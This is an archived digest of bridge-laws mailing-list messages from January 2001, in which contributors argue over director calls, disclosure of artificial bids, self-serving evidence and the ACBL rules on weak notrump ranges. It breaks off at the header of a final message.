4 (112) (125) Sveinn Runar (Svenni) Eiriksson 4 (112) (42) Bruce J.Moore 4 (112) H Thompson 4 (112) (101) Jay Apfelbaum 4 (112) Jorge Pellegrini 4 (112) (63) Peter Newman 3 (120) Timmermans, Catelijne 3 (120) (116) B.Y. 3 (120) (125) Joan Gerard 3 (120) Joshua Fendel 3 (120) (138) Julian Lighton 3 (120) (125) Lino Tralhao 3 (120) (92) masterit (Larry Bennett) 2 (127) (116) Edouard Beauvilain 2 (127) (157) Hegedus Laszlo 2 (127) (63) Michael Schmahl 2 (127) Art Brodsky 2 (127) (75) Canberra Bridge Club 2 (127) (157) Christian Chantigny 2 (127) (106) Con Holzscherer 2 (127) (125) Dave Armstrong 2 (127) (94) David Kent 2 (127) Derek Malloch 2 (127) (94) Flemming Bogh-Sorensen 2 (127) Glen Ashton 2 (127) (33) Jeremy Rickard 2 (127) (138) Michael Kopera 2 (127) (116) Reg Busch 2 (127) Tommy Sandsmark 2 (127) (138) Trevor Walker 2 (127) Jim Merzon 2 (127) (55) KRAllison@aol.com 2 (127) (58) Michael Albert 2 (127) Sandy E Barnes 1 (148) Eric Favager 1 (148) Giovanni Bobbio 1 (148) Grisbie@aol.com 1 (148) (89) AlLeBendig 1 (148) Angela B 1 (148) B. Kelly 1 (148) Chip (John Blu) 1 (148) Dale Blank 1 (148) (157) Georgiana Gates, Leslie West 1 (148) Kevin Perkins 1 (148) MMRosa 1 (148) Nelson/Kay Ford 1 (148) Niels Wendell Pedersen 1 (148) (157) Norbert Fornoville 1 (148) Paul Gipson 1 (148) Pur Byantara 1 (148) (79) RCraig Hemphill 1 (148) (157) Robert Lake 1 (148) (63) Robert Nordgren 1 (148) S.S. (Sandra) 1 (148) Steve Wright 1 (148) Sue O'Donnell 1 (148) Tom Strong 1 (148) William Watson 1 (148) gregory@pub.gov.sg 1 (148) (89) Jan Romanski 1 (148) Kazimierz Chlobowski 1 (148) (157) Richard Colker Welcome to Todd Zimnoch, Alain Gottcheiner and Richard Hills as the promising newcomers. -- Best wishes for the New Millennium !! Herman DE WAEL Antwerpen Belgium http://www.gallery.uunet.be/hermandw/index.html -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 3 03:06:49 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f02G4dT18136 for bridge-laws-outgoing; Wed, 3 Jan 2001 03:04:39 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from cfa.harvard.edu (cfa.harvard.edu [131.142.10.1]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f02G4Vt18096 for ; Wed, 3 Jan 2001 03:04:32 +1100 (EST) Received: from cfa183.harvard.edu (cfa183 [131.142.25.59]) by cfa.harvard.edu (8.9.2/8.9.2/cfunix M-S 0.1) with ESMTP id LAA07499 for ; Tue, 2 Jan 2001 11:04:27 -0500 (EST) Received: (from willner@localhost) by cfa183.harvard.edu (8.9.2/8.9.2/cfunix S 0.5) id LAA17526 for bridge-laws@rgb.anu.edu.au; Tue, 2 Jan 2001 11:04:26 -0500 (EST) Date: Tue, 2 Jan 2001 11:04:26 -0500 (EST) From: Steve Willner Message-Id: <200101021604.LAA17526@cfa183.harvard.edu> To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] Annoyingly irregular X-Sun-Charset: US-ASCII Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > From: "N. Scott Cardell" > You call the director during, for example, the following auction: > > West North(you) East South > 1D, Double, 4H, 4S, > slow pass, pass, 5H Maybe you call the director after the 5H bid; I certainly don't. Look again at the footnote to L16A2. I agree that what Scott suggests is widely practiced, but the proper times to call the director are a) immediately after the slow pass (if "reserving rights" is not allowed by your SO) or b) when you have seen East's hand. Until then, you should assume that the 5H bid was legal. ... [Artificial diamond bid showing spade raise:] > But the point is that, at least in my experience, the complete explanation > is not required to include "says nothing about diamonds." We disagree about this, too, although the incomplete explanation is certainly common and seldom causes damage. Still, the complete explanation should indicate that the diamond bid does not show diamonds. How long does it take to say the word 'artificial'? Again, I'll recommend starting _every_ explanation of partner's bid with "artificial" or "natural" and "forcing" or "non-forcing." These take almost no time to say and convey a large fraction of the necessary information. Once you get in the habit of doing this, it's very easy. > IMO experienced players should give inexperienced duplicate > players a lot of leeway in asking questions about any complicated > conventions that one uses. This is basically correct, but it has nothing to do with experienced players doing something special. The real point is that for inexperienced players, UI very seldom suggests much of anything except that they are inexperienced. It is the TD's job to be aware of that and rule accordingly. Of course if you are an experienced player and are aware that your opponents have done nothing illegal _because_ they are inexperienced, there's no point calling the TD, but as always, it's the TD's job, not the player's, to give correct rulings. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 3 04:31:41 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f02HU0s17366 for bridge-laws-outgoing; Wed, 3 Jan 2001 04:30:00 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from technetium.cix.co.uk (technetium.cix.co.uk [194.153.0.53]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f02HTht17279 for ; Wed, 3 Jan 2001 04:29:44 +1100 (EST) Received: (from cix@localhost) by technetium.cix.co.uk (8.9.3+Sun/8.9.3) id RAA04934 for bridge-laws@rgb.anu.edu.au; Tue, 2 Jan 2001 17:29:35 GMT X-Envelope-From: twm@cix.compulink.co.uk Date: Tue, 2 Jan 2001 17:29 +0000 (GMT) From: twm@cix.compulink.co.uk (Tim West-meads) Subject: Re: [BLML] Annoyingly irregular To: bridge-laws@rgb.anu.edu.au Cc: twm@cix.compulink.co.uk Reply-To: twm@cix.compulink.co.uk Message-Id: Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk In-Reply-To: <3.0.32.20010101131330.0070622c@pullman.com> Scott Cardell wrote: > > At 12:55 PM 12/29/00 +0000, you wrote: > >In-Reply-To: <3.0.32.20001226113122.0071ac70@pullman.com> > >"N. Scott Cardell" > > > >> When Adam Wildavsky writes: > >> > >> >>In life an action can be legal but immoral. This is not possible > > in >>>bridge. The difference is that bridge, being a game, is defined > > by >>>its laws. Without the laws we have no context for judging an > > action >>>moral or immoral. This is an important point, and so far as > > I can >>>tell one often missed. > >> > >> I can only assume that he is saying that any of the following are > >> perfectly > >> moral: > >> > >> 1. Seeking redress for UI based on a legalistic definition of LA > > when >you know that the particularly player involved really would > > always take >the action in question. > > > >This means you think the particular player had no LA. Since you have > >no "substantial reason to believe that an opponent who had a logical > >alternative" etc under L16 you should not be calling the director - > thus >this is illegal. > > IMHO this response is off base. Of course the director was (and should > be) called before you have enough information to decide whether your > opponent had a LA. You call the director during, for example, the > following auction: > > West North(you) East South > 1D, Double, 4H, 4S, > slow pass, pass, 5H I don't - I reserve my rights at the time of the slow pass. OK players in certain zones may have to call the TD if they are not permitted to agree the slow pass as fact. The laws clearly state that in this case the end of the hand is the correct time to call the TD. > The director lets the bidding conclude (all pass) and lets the play > proceed and then returns at the end of the hand. More normally the TD will say "OK - call me back at the end of the hand if you still think there is a problem." > The director asks the opponents a few questions and lays out the hand. Poor directing. His first question should be to ask if a ruling is required. > Now you realize that > this particular East's style is such that had no LA. I do not believe > that the law requires you to volunteer this information, I do believe > that morally you should. Assuming you do get a poor TD then allowing him make a ruling instead of telling him you have no problem surely counts as an "action that might cause annoyance or embarrassment to another player or might interfere with the enjoyment of the game." Breach of 74a2. > >> 2. Giving explanations that meet the legal requirements but are > >> designed to leave the questioner uncertain as to key aspects of the > > bid >and then if they question you further call the director and seek > > redress >for UI because they quizzed you. (The most common example > > of this >occurs with artificial raises. For example: > >> 1S P 3D(alert) Meaning? 10-11 points with four trumps. > > > >This is not full explanation (see L20/75). If you are deliberately > trying >to give less than full explanations you are acting illegally. > > Again this response seems to be Philadelphia lawyering IMHO. Perhaps "a > spade raise with 10-11 points and 4 card spade support" would be better. > But the point is that, at least in my experience, the complete > explanation is not required to include "says nothing about diamonds." IMO a *complete* explanation requires exactly this. I'm not saying I would automatically penalise if it was forgotten, or if the explainer had thought the questioner would understand. But if the explainer tells me "I deliberately withheld that piece of information in order to try and create UI for my opponents" I feel the existing laws give me the right to hit him with the strongest possible penalty. > >> 3. Seeking redress for MI when you know that the MI had no effect. > > > >The director is called (compulsory in MI situations) and asks you how > it >might have affected you - you say "It didn't" - no adjustment. Or > you lie >to the TD - a very serious breach of L74. > > Again, I was not suggesting that it was legal to lie, only that it > could be legal to keep silent. For example, the MI did affect your bid, > but you know that the opponents would have reached the same contract > anyway, because you know their style. Or perhaps you aren't asked and > fail to volunteer that you (or your partner) would later have > "corrected" to the same doomed contract. Again poor TDing, and again if you are certain you were undamaged L74a2 requires you to tell the TD. > > > >> 4. Intentionally trying to confuse inexperienced players in the > > bidding >and then using the laws to try to gain advantage from their > > hesitations. > > > >Obviously it is perfectly legal (and moral) to develop a system which > will >be difficult for inexperienced or ill-prepared opponents to > defend (even >with full disclosure). Obviously you may call the TD if > you believe >opponents may have taken advantage of UI (but see 1). > > This combination is legal, but not always moral. For example, it is > perfectly legal to play different defenses against straight Blackwood > and RKCB. But if to choose a complex and system over straight Blackwood > and then call the director if the opponents ask for explanations because > of UI is at least bad form. You don't (legally) call the director "because of UI" when opponents ask for explanations. You do it when you have substantial reason to believe they have taken an action based on UI. Law 74 contains explicit reference to calling the TD in a way that is discourteous to opponents. If you are using TD calls to intimidate/confuse opponents that is illegal. > I personally have seen bridge players who > were inexperienced at duplicate treated in this way and end up deciding > to stick to rubber bridge in the future. IMO experienced players should > give inexperienced duplicate players a lot of leeway in asking questions > about any complicated conventions that one uses. It makes the game more > pleasant and it is good for bridge, particularly here in ACBL land where > there are far too few new duplicate players. I agree. But bear in mind that many inexperienced players will use UI in complete ignorance of the fact that they shouldn't. If asked they say things like "I knew partner had the ace because he asked all those questions". It is wrong not to call the TD if you think this might be the case. If you don't then these inexperienced players will never learn and that is *not* good for bridge. > IMO, one should try to give inexperienced duplicate players explanations > that cover more than what is legally required and beyond what an > experienced duplicate player would need. Not doing this is often > enough to confuse them. IMO one *is* legally required to give inexperienced players an explanation beyond what an experienced duplicate player would need (obviously only if one *knows* they are inexperienced would it be appropriate to penalise rather than adjust). TDs can help by being much more lenient in awarding for MI damage in favour of inexperienced players. They also need to recognise that much UI that "suggests" actions to experienced players has no suggestive value at all when the player is a novice. Tim West-Meads -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 3 04:31:41 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f02HTuM17348 for bridge-laws-outgoing; Wed, 3 Jan 2001 04:29:56 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from technetium.cix.co.uk (technetium.cix.co.uk [194.153.0.53]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f02HTht17278 for ; Wed, 3 Jan 2001 04:29:44 +1100 (EST) Received: (from cix@localhost) by technetium.cix.co.uk (8.9.3+Sun/8.9.3) id RAA04913 for bridge-laws@rgb.anu.edu.au; Tue, 2 Jan 2001 17:29:35 GMT X-Envelope-From: twm@cix.compulink.co.uk Date: Tue, 2 Jan 2001 17:29 +0000 (GMT) From: twm@cix.compulink.co.uk (Tim West-meads) Subject: Re: [BLML] self-serving ? To: bridge-laws@rgb.anu.edu.au Cc: twm@cix.compulink.co.uk Reply-To: twm@cix.compulink.co.uk Message-Id: Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk In-Reply-To: <000e01c071b0$372617c0$0718073e@pbncomputer> David Burn wrote: > > Tim West-Meads wrote: > > > David Burn wrote: > > > > > If what you are trying to say is that Americans should not label a > > > statement "self-serving" and then ignore it, than of course you are > > > right. No one should ignore any statement, without trying to verify > it. > > > But if it cannot be verified, then it should be ignored > > > > Which I found most depressing. The TD/AC should be entitled (but not > > obliged) to accept any statement at face value if they so desire. > > Not really. If that happened, then rulings would depend on the > persuasiveness of the appellants and the gullibility of the director or > appeals committee. This should not happen, which is why only statements > that can be objectively corroborated should be admitted as evidence. If > we have TDs deciding whether or not to accept statements at face value > on the basis of no evidence, then we will have no hope of having the > Laws administered with any kind of fairness or consistency. > > > Obviously a statement like "I would always bid that way" is very > unlikely > > to be accepted. > > Yes, but "very unlikely" should be "never" (otherwise inconsistency will > once again supervene). Of course, if the appellant can show evidence > that he has in the past frequently bid "that way", then his statement > may stand a good chance of being accepted. If the AC knows, through significant experience against him, "that the appellant would always bid that way" they can accept it. > > One would also expect statements that would typically be > > supported on the CC but are not to be given less credence. > > Yes, but "less" should be "none" (otherwise inconsistency will once > again supervene). Since the goal of the current laws is equity, rather than consistency, it is surely better (until the laws change to those you personally desire) to do equity 50% of the time fail the other 50% than to fail to do equity all the time. > > However there are many situations where a statement like "With that > > sort of hand partner would have bid 2S not 2D on the second round" > > that will not be on a typical CC. Most pairs have all sorts of these > > understandings (which they will properly disclose if asked) but few > > have "system notes" of any description. It is highly unlikely that > > they can be verified but it seems grossly unfair to ignore them. > On the contrary, it would be grossly unfair not to ignore them. I could, > by reference to a set of undocumented "understandings" that I have with > any given partner, easily show that my "methods" gave me no logical > alternative to any call I may have chosen. But I am an expert, and I can > make up "system" to justify doing almost anything. I really couldn't care less what you can achieve by deliberate lying. Do it sufficiently often and you will be banned. If people want to cheat they will and it's not worth designing the laws to cater to an insignificant minority. > People who cannot do > this should not be disadvantaged compared to people who can. If you are > going to adduce that "with that sort of hand, partner would have done > X", then unless you can show either: documentation about your system > that supports the assertion; or previous hands of similar nature on > which partner has indeed done X, then your statement should not be > admitted as evidence. It may, of course, be true, but that is > unfortunate. Previous hands are not verification (although they may indeed be corroboration). If this approach is taken then the AC must allow time for appellants to collect evidence, gather witnesses etc. The AC becomes a trial rather than an enquiry. Why would you accept "he bid this way on hand 3 of the morning session" as any more verified than the original. > > A specific example. My wife was asked whether my "12-14 approx" no > > trump could be bid with a 15 count and replied "I know he does it a > > lot with 11 > > and sometimes 10 or a singleton but I don't think he will with 15". > > My own reply would have been "Occasionally and then usually in 3rd/4th > > seat, I'll have 11 or 10 more often than 15." We haven't actually > > discussed it this way. Would you, as a TD/AC wish to adjust when I do > > turn up with 15? > > If your opponents have been told that your "agreement" is that you won't > have a 15 count, while your "agreement" appears to be that you will, > then there is a case for redress if the misinformation had damaged them. No. Our agreement is that 1NT *shows* 12-14 balanced and is always treated as such . My partner (who plays strict 12-14) has been told to disclose how I may vary from this in her experience - that is what opponents are entitled to know. Our CC used to read "12-14". As soon as she became aware that I opened frequent 11s it was adjusted to "12-14 approx" as this seemed to me the best way (in the 0.5 cm2 of space) of alerting opponents to the fact that they should enquire. She hasn't yet noticed I occasionally have 15 and I have no desire (at the moment) that she should. > Burbling on about having 11 or 10, with or without a singleton, is > likely only to confuse the issue (since people who are often sub-minimum > for their actions are very rarely or never super-maximum). Try to make sense. I *am* often sub minimum and very rarely super maximum so how can this be irrelevant or confusing. If an opponent has to choose between playing me for 11 vs 15 then the odds are probably about 7-1 in favour of playing me for 11. > Of course, > your disclosure of what appear to be your methods would have to improve > many fold in order to be woefully inadequate. But you already know that. I didn't think so. However I would dearly love to know what she should have said. Tim West-Meads -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 3 04:31:41 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f02HTvr17346 for bridge-laws-outgoing; Wed, 3 Jan 2001 04:29:57 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from technetium.cix.co.uk (technetium.cix.co.uk [194.153.0.53]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f02HTht17280 for ; Wed, 3 Jan 2001 04:29:44 +1100 (EST) Received: (from cix@localhost) by technetium.cix.co.uk (8.9.3+Sun/8.9.3) id RAA04943 for bridge-laws@rgb.anu.edu.au; Tue, 2 Jan 2001 17:29:36 GMT X-Envelope-From: twm@cix.compulink.co.uk Date: Tue, 2 Jan 2001 17:29 +0000 (GMT) From: twm@cix.compulink.co.uk (Tim West-meads) Subject: Re: [BLML] Annoyingly irregular To: bridge-laws@rgb.anu.edu.au Cc: twm@cix.compulink.co.uk Reply-To: twm@cix.compulink.co.uk Message-Id: Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk In-Reply-To: <000801c07322$d161be20$262a01d5@dodona> Grattan wrote: > > > > > > 1. Seeking redress for UI based on a legalistic definition of LA > > > when you know that the particular player involved really would > > > always take the action in question. > > > > This means you think the particular player had no LA. Since you > > have no "substantial reason to believe that an opponent who had a > > logical alternative" etc under L16 you should not be calling the > > director - thus this is illegal. > > > +=+ I think a distinction should be made as between > system and style in this context. Where system > demands a given call no problem, but if it is said > the individual player's style would cause him to > make it the case is more difficult. Style is subjective > and only the player himself can speak to it with > assurance; the normal requirement is to judge by > reference to what his peers would do if playing the > same system and I do not believe there is an onus > on Directors or ACs to make subjective judgements > as to style. The term 'logical alternative' is not > attached in the laws to the style of the individual > but to objective standards. ~ Grattan ~ +=+ I had always understood that "peers" referred to "those of similar system, ability, and *style*" (not in the laws but DWS might be able to enlighten as I think he quoted to me from somewhere). I think there is an onus on the TD/AC to try and take style into consideration although also an acknowledgement that getting it right is pretty damn difficult. However, in the above situation we were talking about a very specific situation where player B is so familiar with player A's style that he *knows* a particular bid is not an LA for A. For player B to call the TD in the hope that the TD is less familiar with player A and might therefore give a favourable adjustment is, IMO, illegal. Tim West-Meads -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 3 10:04:40 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f02N2Uu24206 for bridge-laws-outgoing; Wed, 3 Jan 2001 10:02:30 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp2.san.rr.com (smtp2.san.rr.com [24.25.195.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f02N2Mt24173 for ; Wed, 3 Jan 2001 10:02:23 +1100 (EST) Received: from marvin ([24.30.153.86]) by smtp2.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Tue, 2 Jan 2001 14:59:17 -0800 Message-ID: <00d101c07510$03f52d60$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: <200101021604.LAA17526@cfa183.harvard.edu> Subject: Re: [BLML] Annoyingly irregular Date: Tue, 2 Jan 2001 15:01:56 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Steve Willner wrote: > > From: "N. Scott Cardell" > > You call the director during, for example, the following auction: > > > > West North(you) East South > > 1D, Double, 4H, 4S, > > slow pass, pass, 5H > > Maybe you call the director after the 5H bid; I certainly > don't. Look again at the footnote to L16A2. > > I agree that what Scott suggests is widely practiced, but > the proper times to call the director are a) immediately after the > slow pass (if "reserving rights" is not allowed by your SO) Supposedly an ACBL "Election" that takes an option provided by L16A1, but that ACBL Election (printed in the back of the ACBL's Laws book) has some problems: (1) It conflicts with L16A2 (and its footnote), which is not optional with SOs. (2) The syntax in its second sentence is confusing: "They should summon the Director immediately when they believe there may have been extaneous information available to the opponents resulting in calls or bids which could result in damage to their side." (Right away we see a blunder, because bids are calls. This should be "calls or plays.") Now, is the TD called before or after possibly-influenced calls or plays? If the former, it should be "...to the opponents which could result in calls or plays..." If the latter, the language should be "...to the opponents which may have resulted in calls or plays..." I'm not a grammarian (Craig? David Burn?) but I believe the existing language necessarily refers to potentially-influenced calls or plays that occur before the TD is called. That makes it compatible with the second interpretation, but violates L16A2 and its footnote. The only "Election" for 16A1 that seems permissible without violating 16A2 and its footnote is to delay calling attention to the UI until L16A2 kicks in: "When a player has reason to believe...," and that can only be "When play ends; or, as to dummy's hand, when dummy is exposed." That doesn't seem like a good idea, but I certainly would not want the ACBL to condone the haughty-sounding "I reserve the right to call the Director later," which doesn't even make sense, as the right goes without saying. Instead of "immediately announce that he reserves the right...," why not just "...immediately obtain agreement with the opponents as to the existence of unauthorized information that could result in damage, failing which the Director should be called immediately." Then follow L16A2 if agreement was reached. This is the procedure already followed by many good players, and it deserves official blessing. Marv mlfrench@writeme.com -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 3 11:14:07 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f030B2I18121 for bridge-laws-outgoing; Wed, 3 Jan 2001 11:11:02 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp2.san.rr.com (smtp2.san.rr.com [24.25.195.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f030Att18078 for ; Wed, 3 Jan 2001 11:10:55 +1100 (EST) Received: from marvin ([24.30.153.86]) by smtp2.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com; Tue, 2 Jan 2001 16:07:49 -0800 Message-ID: <00f001c07519$975c1380$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: Cc: References: <6c.5ec69ba.276ae824@aol.com> <018401c0666e$d5a0e120$fb981e18@san.rr.com> <031a01c0678f$86291f00$fb981e18@san.rr.com> Subject: Re: [BLML] Permitted system Date: Tue, 2 Jan 2001 16:10:28 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Marv wrote: > A TD tells me that ACBL TDs have have been instructed to tell any > person who plays 10-12 1NT openings, but who opens a 9 pointer, > that that is their last such occurrence as long as their card > shows 10-12. No automatic penalty applies for the first > occurrence, but since a second such bid would indicate implicit > agreement of other than 10-12 it should be penalized insofar as > the card is incorrectly marked. She goes on to say that the ACBL > takes this power from Law 40D. She understands that I may > have some difficulty with this apparent conflict with 40E1 but > thinks it is reasonable. > I'm still checking on this with Memphis. Gary Blaiss has been on vacation, which explains the delay in getting a definitive statement on this matter. I do not believe that what the TD told me is quite what Memphis has instructed, but we shall see. I have found out this from an authoritative source: The only regulation is the GCC notation. There is no additional regulation, and that includes anything Meckstroth or anyone else has written. That GCC notation is, under DISALLOWED: 7. CONVENTIONAL RESPONSES, REBIDS AND A CONVENTIONAL DEFENSE TO AN OPPONENT'S CONVENTIONAL DEFENSE after natural notrump opening bids or overcalls with a lower limit of fewer than 10 HCP or with a range of greater than 5 HCP (including those that have two non-consecutive ranges) and weak two bids which by partnership agreement are not within a range of 7 HCP and do not show at least five cards in the suit. Despite the ACBL's references to HCP (presumably the 4-3-2-1 count), the ACBL does not have a recent history of following HCP requirements to the letter (digit?). It is realized, evidently, that HCPs do not constitute an extremely accurate measure of the strength of a hand. Minor variations have been allowed based on a player's judgment that a hand's strength conforms with the intent of whatever HCP requirements are on the CC or in a regulation, even when the hand's HCP count is a little off. For instance, there is no complaint when a player with 16-18 1NT openings on hir CC opens 1NT with 15 HCP occasionally, based on the player's judgment that the hand is equivalent in strength to what partner will expect. The reason could be a strong five-card or longer suit, or adjustments required to make 4-3-2-1 more accurate. HCPs do not recognize that honors in combination are worth more than separated honors, or that 10s and 9s can contribute to the strength of a hand, or that aces/kings are undervalued in relation to queens/jacks. There is a problem, however, with 10-12 1NT openings, one that doesn't exist with 15-17 or 16-18 or whatever, and that problem arises from the the above regulation. People who play 16-18 do not in general really play 15-18, since that range would be legal. People who play 10-12, however, may be sorely tempted to play 9-11 or 9-12 without abandoning their pet conventional followups. Questioned about a 9 HCP opening, they may say it seemed to them equivalent to a 10 HCP hand, making it acceptable. Can such judgments be questioned? Sure. Just ask,"What makes you think the hand is worth more than its 9 HCP would indicate?" Acceptable answers are readily available for hands such as the following: S-Axx H-Axx D-Jxxx C-10xx ("Aces are undervalued in 4-3-2-1, so I judged this to be a 1NT opening") S-KQx H-Axx D-10xxx C-10xx ("King-queen together are worth more than when separate, and I have two 10s besides.") S-Qx H-xxx D-Kxx C- A10987 ("My club suit is worth an extra point"). S-K109 H-Q108 D-10987 C-A108 ("Look at all those fillers; this is a much better hand than its point count says.") However, there can be no acceptable reply with a hand such as S-Qxx H-Kxx D-Kxxx C-Jxx, which cannot reasonably be judged worth a 1NT opening when playing 10-12. A TD would be justified in considering an opening 1NT bid on such a hand as *prima facie* evidence that a range of 9-11/12 is actually being played, and take appropriate action. I would tell ACBL TDs: "If a player with 10-12 NTs on the CC can convince you that a 9 HCP hand was worth opening because of virtues not recognized by the 4-3-2-1 count, then the opening is acceptable. However, you should treat such claims with some skepticism, especially if there seem to be so many of them that partners will start allowing for lighter hands than the 10-12 HCP range would suggest. In that case you can tell the pair to tighten up their 1NT openings or face the danger that followup conventions will be barred." Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 3 12:49:09 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f031j2f21218 for bridge-laws-outgoing; Wed, 3 Jan 2001 12:45:02 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from swarm.mosquitonet.com (swarm.mosquitonet.com [206.129.11.16]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f031itt21183 for ; Wed, 3 Jan 2001 12:44:56 +1100 (EST) Received: from bigbyte.mosquitonet.com (bigbyte.mosquitonet.com [206.129.11.2]) by swarm.mosquitonet.com (8.9.1/8.9.3) with SMTP id QAA07639 for ; Tue, 2 Jan 2001 16:58:52 -0900 Date: Tue, 2 Jan 2001 16:44:58 -0900 (AKST) From: Gordon Bower To: Bridge Laws Mailing List Subject: Re: [BLML] Permitted system In-Reply-To: <00f001c07519$975c1380$56991e18@san.rr.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Marv quoted the ACBL: > 7. CONVENTIONAL RESPONSES, REBIDS AND A CONVENTIONAL DEFENSE TO AN > OPPONENT'S CONVENTIONAL DEFENSE after natural notrump opening bids > or overcalls with a lower limit of fewer than 10 HCP or with a range > of greater than 5 HCP (including those that have two non-consecutive > ranges) and weak two bids which by partnership agreement are not > within a range of 7 HCP and do not show at least five cards in the suit. ^^^ I hadn't noticed this before. The grammar gremlin has struck again! They mean "or", and I could swear that it used to SAY "or" when I have read it in the past. But it looks like they have accidentally made "0-12 but always at least 5" and "might be 4, but always 6-11 HCP" allowable again. Anyone care to estimate the odds that I can get that one past a director or appeals committee? Hey, whatever works to get regulations loosens up a little here.... :) GRB -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 3 14:17:28 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f033DMU16428 for bridge-laws-outgoing; Wed, 3 Jan 2001 14:13:22 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailhub.irvine.com (larry-rp.irvine.com [63.206.153.98]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f033DGt16424 for ; Wed, 3 Jan 2001 14:13:16 +1100 (EST) Received: from flash.irvine.com (flash.irvine.com [192.160.8.4]) by mailhub.irvine.com (8.9.3/8.9.3) with ESMTP id TAA26216; Tue, 2 Jan 2001 19:13:07 -0800 Message-Id: <200101030313.TAA26216@mailhub.irvine.com> To: Bridge Laws Mailing List CC: adam@irvine.com Subject: Re: [BLML] Permitted system In-reply-to: Your message of "Tue, 02 Jan 2001 16:44:58 PST." Date: Tue, 02 Jan 2001 19:13:07 PST From: Adam Beneschan 